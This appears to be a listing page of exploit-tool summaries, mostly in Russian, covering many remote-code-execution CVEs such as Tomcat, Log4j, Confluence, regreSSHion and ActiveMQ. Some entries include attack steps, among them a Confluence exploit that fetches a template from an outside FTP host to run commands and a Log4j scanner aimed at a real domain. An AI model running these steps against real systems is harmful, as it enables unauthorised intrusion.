CVE-2024-7120-Exploit-by-Dark-07x

Инъекция команд в устройствах Raisecom CVE-2024-7120 Доказательство концепции! Обзор Уязвимость инъекции команд была обнаружена в шлюзовых устройствах RAISECOM, затрагивающая модели MSG1200, MSG2100E, MSG2200 и MSG2300. Эта уязвимость позволяет удаленным злоумышленникам выполнять произвольные...

CVE-2026-23744-PoC

Описание MCPJam inspector — это локально-ориентированная платформа разработки для MCP-серверов. Версии 1.4.2 и более ранние уязвимы к удалённому выполнению кода RCE, что позволяет атакующему отправить специально сформированный HTTP-запрос, который инициирует установку MCP-сервера, что приводит к...

CVE-2025-24813

🚨 CVE-2025-24813 – Apache Tomcat PUT JSP RCE Эксплойт Этот репозиторий содержит полное доказательство концепции PoC для CVE-2025-24813 — уязвимости удаленного выполнения кода RCE в Apache Tomcat с использованием метода HTTP PUT для развертывания вредоносного JSP веб-шелла. 🔥 Этот эксплойт...

CVE-2019-9193

GenPostgresRCEExploit — это PoC-инструмент для эксплуатации аутентифицированной уязвимости удаленного выполнения кода RCE в определенных версиях PostgreSQL 9.3 – 11.7. Он позволяет аутентифицированным пользователям выполнять системные команды на сервере базы данных PostgreSQL, уязвимом к...

CVE-2022-36446

CVE-2022-36446 CVE-2022-36446 - Webmin 1.996 Удаленное выполнение кода Для запуска уязвимости требуется доступ к модулю «Обновления пакетов программного обеспечения». Пользователи, имеющие доступ к этому модулю, могут выполнять команды с привилегиями root в системе путем внедрения команд ОС во...

CVE-2022-36532

Доказательство концепции для CVE-2022-36532 Уязвимость в Bolt CMS версии 5.1.12 и ниже позволяет аутентифицированному пользователю с ролью EDITORROLE выполнить удалённый код. Эту уязвимость можно обнаружить с помощью этого скрипта; подробности об уязвимости см. на...

Log4j-RCE-Exploiter

Log4j-RCE-Exploiter Сканер для Log4j RCE CVE-2021-44228 Установка Для установки выполните следующую команду с правами суперпользователя ROOT root@kitploit: ▶ cd Log4j-RCE-Exploiter ▶ chmod 777 installer.sh ▶ ./installer.sh Использование root@kitploit: ▶ log4jExploiter -d tesla.com -b...

CVE-2022-33980-Apache-Commons-Configuration-RCE

CVE-2022-33980-Apache-Commons-Configuration-RCE...

CVE-2021-40444-POC

CVE-2021-40444-POC Попытка воспроизвести уязвимость удаленного выполнения кода RCE Microsoft MSHTML с использованием Metasploit Framework. работает лучше всего, если не запускать в FlareVM ПОДГОТОВКА Клонируйте репозиторий из https://github.com/lockedbyte/CVE-2021-40444 Подготовьте .dll шаблон дл...

CVE-2021-42013-Apache-RCE-Poc-Exp

Название уязвимости Удаленное выполнение кода в Apache CVE-2021-42013 Описание уязвимости Apache HTTP Server — это веб-сервер с открытым исходным кодом от Apache Software Foundation. Он отличается быстродействием, надежностью и возможностью расширения через простые API. Обнаружено, что исправлени...

parquet-canary-exploit-rce-poc-CVE-2025-30065

Канареечный эксплойт для Parquet CVE-2025-30065 root@kitploit: -. '-. OO OO .-----,--/ ,. ,------. .-----. .----. .-----..------. .-----. .----. .----. ,--. .------. ' .--.\ \ //| .---' .-'/ ,-. / .. / ,-. | | .-' / -. / .. \ / .. \ / .' | | | |'-.\ \ / / | | OO'-' | . / \ '-' | | '--. OO'-' '...

regreSSHion

regreSSHion エクスプロイト PoC 説明 このリポジトリには、glibcベースのLinuxシステム上のOpenSSHサーバー（sshd）における脆弱性CVE-2024-6387（regreSSHion）を標的としたエクスプロイトが含まれています。これはOpenSSHのシグナルハンドラにおける競合状態を悪用し、rootとしてのリモートコード実行につながる可能性があります。 必要条件 glibcベースのOpenSSHサーバーが動作するLinuxシステム（Ubuntu、Debianでテスト済み）。 gcc コンパイラがインストールされていること。...

CVE-2025-53837

XWiki Rendering (org.xwiki.rendering:xwiki-rendering-xml) is affected by an Eval Injection flaw prior to versions 14.10.2 and 15.0 RC1 . Rendering output is included as content of HTML macros without further escaping, allowing an attacker who can edit a document (e.g., their own profile) to close...

CVE-2020-5902-Scanner

CVE-2020-5902-Scanner Автоматизированный сканер удаленного выполнения кода F5 Big IP CVE-2020-5902, написанный на Python 3 Описание уязвимости 30 июня 2020 года компания F5 опубликовала информацию о критической уязвимости удаленного выполнения кода CVE-2020-5902, затрагивающей несколько версий Bi...

CVE-2019-0193

CVE-2019-0193 Solr DataImport Handler RCE RCE-Vuln jdbc...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、разместите cmd.vm на вашем сайте обязательно используйте ftp или https, http не работает 2、отредактируйте RCEexp.py, измените filename = 'ftp://1.1.1.1/cmd.vm' python -m pyftpdlib -p 21 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $...

CVE-2024-34102

Cosmic Sting: эксплойтер CVE-2024-34102 Cosmic Sting — это инструмент на Go, предназначенный для эксплуатации CVE-2024-34102, уязвимости удалённого выполнения кода. Детали CVE-2024-34102 Adobe Commerce версии 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 и более ранние затронуты уязвимостью, связанной с...

WIn-CVE-2021-31166

WIn-CVE-2021-31166 Этот репозиторий вдохновлён работой 0vercl0k и представляет собой proof of concept для CVE-2021-31166 «HTTP Protocol Stack Remote Code Execution Vulnerability», use-after-free разыменования в http.sys, исправленного Microsoft в мае 2021 года. Инфраструктура сборки root@kitploit...

CVE-2016-3088

CVE-2016-3088 Apache ActiveMQ Удаленное выполнение кода Эксплойт Описание Веб-приложение Fileserver в Apache ActiveMQ 5.x до версии 5.14.0 позволяет удаленным злоумышленникам загружать и выполнять произвольные файлы с помощью HTTP-запроса PUT с последующим HTTP-запросом MOVE. Автор Alexandre Agui...

CVE-2025-20352

CVE-2025-20352 — Переполнение стека в SNMP Cisco IOS / IOS XE Аналитический отчет от Sentinel AI Defense. Только защитный анализ — рабочего эксплойта или PoC здесь не публикуется. Переполнение буфера на основе стека в подсистеме SNMP Cisco IOS и IOS XE: специально сформированный SNMP-пакет на...